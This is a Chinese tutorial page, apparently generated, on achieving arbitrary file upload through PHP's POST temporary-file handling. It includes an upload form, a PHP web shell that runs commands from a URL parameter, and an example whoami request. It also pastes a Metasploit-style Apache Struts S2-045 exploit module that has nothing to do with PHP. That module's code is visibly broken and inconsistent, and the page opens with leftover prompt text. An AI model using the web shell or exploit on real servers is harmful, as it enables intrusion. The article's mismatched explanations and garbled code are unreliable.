利用PHP POST临时文件机制实现任意文件上传的方法详解

理解题意:要求提供一份完整的攻略,介绍如何通过PHP的POST临时文件机制实现任意文件上传。攻略需要包括原理、步骤以及至少两个具体的示例说明。

原理

POST请求中可以包含上传文件的内容,通过PHP的$_FILES全局变量可以获得上传文件的信息,同时,PHP会在服务器本地创建一个临时文件,该临时文件可以在后续的操作中用到。

读取临时文件的方式有很多种,攻击者可以通过该方式上传恶意文件,从而实现攻击目标。

步骤

以下是基本步骤:

  1. 构造文件上传的POST请求,向目标服务器发送请求。
  2. 服务器接收到请求,会把上传的文件信息存储在$_FILES中,同时创建一个临时文件。
  3. 攻击者读取临时文件,进行后续的恶意操作。

示例一

以下是一个基本的文件上传攻击的示例:(假设目标服务器存在upload.php文件,可以接收文件上传请求)

<form enctype="multipart/form-data" action="http://example.com/upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="100000" />
    <input type="file" name="userfile" />
    <input type="submit" value="Upload File" />
</form>

攻击者可以通过此界面上传任意文件,其中name属性为userfile的input标签中的文件即为上传的文件。

例如,攻击者可以上传一个名为“evil.php”的文件,其中包含如下代码:

<?php
    system($_GET['cmd']);
?>

接着,攻击者可以在URL中发送一条如下所示的命令:

http://example.com/uploads/evil.php?cmd=whoami

这会运行whoami命令并将结果返回到攻击者的浏览器中。

示例二

在例子一中,攻击者可以通过查询uploaded_files数组来检查是否已经成功上传文件。但是使用这种方法时还必须知道从哪个文件上传目录查找上传的文件。为了使攻击更加隐蔽,攻击者可以使用PoC工具生成来攻击的链接,例如,以下是一段从Metasploit工具中获取的PoC脚本:

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern =&gt; [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Apache Struts Jakarta Multipart Parser OGNL Injection (S2-045)',
      'Description'    =&gt; %q{
          This module exploits a remote code execution vulnerability in Apache
        Struts version between 2.3.5 and 2.3.31 (except 2.3.20.2 and 2.3.24.2).
        Remote Code Execution can be performed via a malicious Content-Type value.
        This module uses the 'Content-Type' header to specify the payload.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Nixawk', #fuzzbunch.py from shadowbrokers arsenal
          'Nixawk'  #metasploit moduel from fuzzbunch exploit
        ],
      'References'     =&gt;
        [
          [ 'CVE', '2017-5638' ],
          [ 'URL', 'http://seclists.org/oss-sec/2017/q1/536' ],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/41570/' ]
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'Space'       =&gt; 2000, # 1024 * 1024 = 1M
          'DisableNops' =&gt; true,
          'Compat'      =&gt; {
            'PayloadType' =&gt; 'cmd',
            'RequiredCmd' =&gt; 'generic python ruby bash telnet',
          }
        },
      'Platform'       =&gt; %w{ linux unix win },
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt;
        [
          ['Apache Struts 2.3 - 2.3.31 (except 2.3.20.2 and 2.3.24.2)', { 'auto' =&gt; true }]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Mar 06 2017'))

      deregister_options('Proxies')
      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [true, 'The URI path of the Struts application', '/struts2-showcase/']),
          OptString.new('CMD', [false, 'The command to execute', 'uname -a']),
        ])

  end

  def check
    flag_p = rand_text_alpha(8)
    flag_v = rand_text_alpha(8)
    poc = '&lt;P&gt;#{%27%25%28%27+"%2b'+flag_p+'+"%2b%27%25%28%27}suman%{#'+flag_v+'%3d7*7}.test%{#'+flag_v+'}</p>'

    res = send_request_cgi({
      'uri' =&gt; normalize_uri(target_uri.path, 'acctglaze', 'dispatch.action'),
      'method' =&gt; 'GET',
    })

    if res && res.code == 200 && res.body =~ /name="k1" id="k1"/
      print_good("#{peer} - Apache Struts &lt; 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
      return Exploit::CheckCode::Appears
    elsif res && res.code == 200 && res.body =~ /#{flag_p}/ && res.body =~ /#{flag_v}/
      print_good("#{peer} - Apache Struts &lt; 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def upload_exe(cmd)
    exe_out = generate_payload_exe
    post_data = Rex::MIME::Message.new
    post_data.add_part("suman", nil, nil, "form-data; name=\"name\"")
    post_data.add_part(exe_out, 'application/octet-stream', nil, "form-data; name=\"userid\";filename=\"test.txt\"")
    data = post_data.to_s.gsub(/^\r\n\-\-\_Part/, '--_Part')
    boundary = "--_Part"

    res = send_request_cgi(
      {
        'uri'     =&gt; normalize_uri(target_uri.path, '/ajax', '/upload.action'),
        'method'  =&gt; 'POST',
        'ctype'   =&gt; "multipart/form-data; boundary=#{boundary}",
        'data'    =&gt; data
      })

    if res && res.body =~ /"savename":".*?"/m
      filename = res.body.scan(/"savename":"(.*?)"/m).flatten.first.gsub(/\\u0027/,"'")
      print_status("The file \"#{filename}\" has been uploaded via payload.")
      @_path = filename
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed: #{res.code} #{res.message}")
    end
  end

  def execute_command(cmd, opts={})
    payload_exe = "#{@tempdir}/#{@rand}.exe"

    begin
        upload_exe(cmd)
        res = send_request_cgi(
        {
          'uri'     =&gt; normalize_uri(target_uri.path, '?'),
          'method'  =&gt; 'POST',
          'ctype'   =&gt; 'application/x-www-form-urlencoded',
          'data'    =&gt; "name=%27%2b%28%28%27#{URI.escape(opts[:prefix]||''+(rand_text_alpha(8))}%27%29%29%2b%27&age=y&description=nagehoh&myPhoto=#{/.*\/(.*)/.match(@_path)[1]}&submit=Submit#"
        }
      )

        @exe_cmd = "#{payload_exe} #{@payload_name} #{@payload_q}"
      end

      def exploit
        print_status("#{peer} - Checking if the target is vulnerable...")
        check_code = check

        if check_code == Exploit::CheckCode::Appears
          print_status("#{peer} - Uploading and executing the payload...")
          execute_command(payload.raw, :prefix =&gt; 'echo %COMSPEC% > ')

          if res && res.code == 200 && res.body =~ /#{payload.raw}/
            print_good("#{peer} - #{res.body}")
          else
            fail_with(Failure::UnexpectedReply, "#{peer} - Failed to execute the payload.")
          end
        else
          fail_with(Failure::NotVulnerable, "#{peer} - Target is not vulnerable.")
        end
      end
    end
end

该脚本会在上传时将恶意代码转换为字符串,并通过POST请求上传。如果攻击成功,该脚本会在服务器上运行Payload包含的命令,攻击者随后便可以在自己的机器上获取命令执行结果。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:利用PHP POST临时文件机制实现任意文件上传的方法详解 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • fpm模式下读取到is_cli为何为true

    目录 问题出现和简单排查 排查 经过思考和猜测,严重怀疑是fpm读取到了cli下的opcache 原起 粗浅探索 测试代码 opcache配置 共享内存缓存与文件缓存 php-fpm下读取到is_cli为true,不知道你们是否遇到过,我是遇到了。。。。有人会说,即使为true又怎么了,你是没遇到有些根据is_cli来走不同逻辑判断的,如果读取的是错的就会引…

    PHP 2023年4月17日
    00
  • PHP实现的创建带logo图标二维码生成类详解

    PHP实现的创建带logo图标二维码生成类详解 简介 二维码(QR Code)是应用于电子设备中的一种条码。它以矩阵和黑白两色的方式来记录数据信息,具有信息容量大、安全性高、易于读取等特点,是目前应用非常广泛的一种图形码。本文介绍了在PHP中创建带logo图标的二维码生成类的实现方法,可以用于实现在网站中生成二维码并带有自定义logo。 实现步骤 1. 导入…

    PHP 2023年5月26日
    00
  • php使用fopen创建utf8编码文件的方法

    下面是详细讲解如何使用 fopen 在 PHP 中创建 utf8 编码文件的完整攻略。 1. 确定文件类型 在创建文件之前,需要确定要创建的文件类型,包括文件名和文件后缀。通常情况下,在 PHP 中创建文本文件使用的是 .txt 后缀。在 utf8 编码下创建的文件,文件头部应加上utf8的BOM头,具体如下: $bom = pack("CCC&q…

    PHP 2023年5月26日
    00
  • php-redis中的sort排序函数总结

    PHP-Redis中的SORT排序函数总结 什么是SORT函数? SORT排序函数是一个Redis命令,可以帮助我们对一个列表或集合中的元素进行排序。它可以按照列表中元素的值、标识符或彼此之间的关系进行排序。通过使用SORT函数,我们可以轻松地在Redis中进行排序操作,而无需使用其他语言或工具进行远程操作。 SORT仅能对以下五种数据结构进行排序: Lis…

    PHP 2023年5月26日
    00
  • 微信小程序 高德地图路线规划实现过程详解

    下面我将针对“微信小程序 高德地图路线规划实现过程详解”给出完整攻略。 1. 准备工作 在进行微信小程序中的路线规划实现前,需要先前往高德开放平台进行申请并获取到 Web API Key,之后根据所需进行接口授权,获取相关权限。之后需要创建微信小程序,并获取到AppId,最后在 小程序后台-开发-开发设置 中将域名加入到 request 合法域名中。 2. …

    PHP 2023年5月30日
    00
  • PHP使用GIFEncoder类处理gif图片实例

    下面是“PHP使用GIFEncoder类处理gif图片实例”的完整攻略: 1. 简介 GIFEncoder类是一个用于将多张图片合成GIF动画图的PHP类库。 它具有压缩比高、动画流畅等优点,并且易于使用。在使用过程中,你需要了解一些基本的PHP和GIF编码知识。 2. 安装 GIFEncoder类可以免费从 GitHub 上下载。下载后,你需要把class…

    PHP 2023年5月23日
    00
  • php 中的信号处理操作实例详解

    PHP 中的信号处理操作实例详解 什么是信号处理? 在Linux系统中,我们可以通过向指定进程发送信号来执行某些操作。信号处理可以用来控制程序的运行状态,例如:终止进程、刷新缓存、重载配置等。在PHP中,我们常用 pcntl_signal 函数来注册信号处理函数,以便在Linux系统中捕获和处理信号。 示例说明 示例一 以下示例代码演示了如何在PHP中捕获 …

    PHP 2023年5月26日
    00
  • WordPress中对访客评论功能的一些优化方法

    当网站创作得越来越好,就会有越来越多的访客在博客文章下面留言。这是一个非常好的事情,因为它意味着你的读者会与你进行更多互动,并且你的文章也会获得更多的曝光率。然而,随之而来的是访客评论功能的滥用和垃圾评论的洪水。为解决这个问题,我们通过以下几种方法对WordPress中的访客评论功能进行优化。 1. 安装反垃圾评论插件 反垃圾评论插件可以识别并过滤掉垃圾评论…

    PHP 2023年5月23日
    00
合作推广
合作推广
分享本页
返回顶部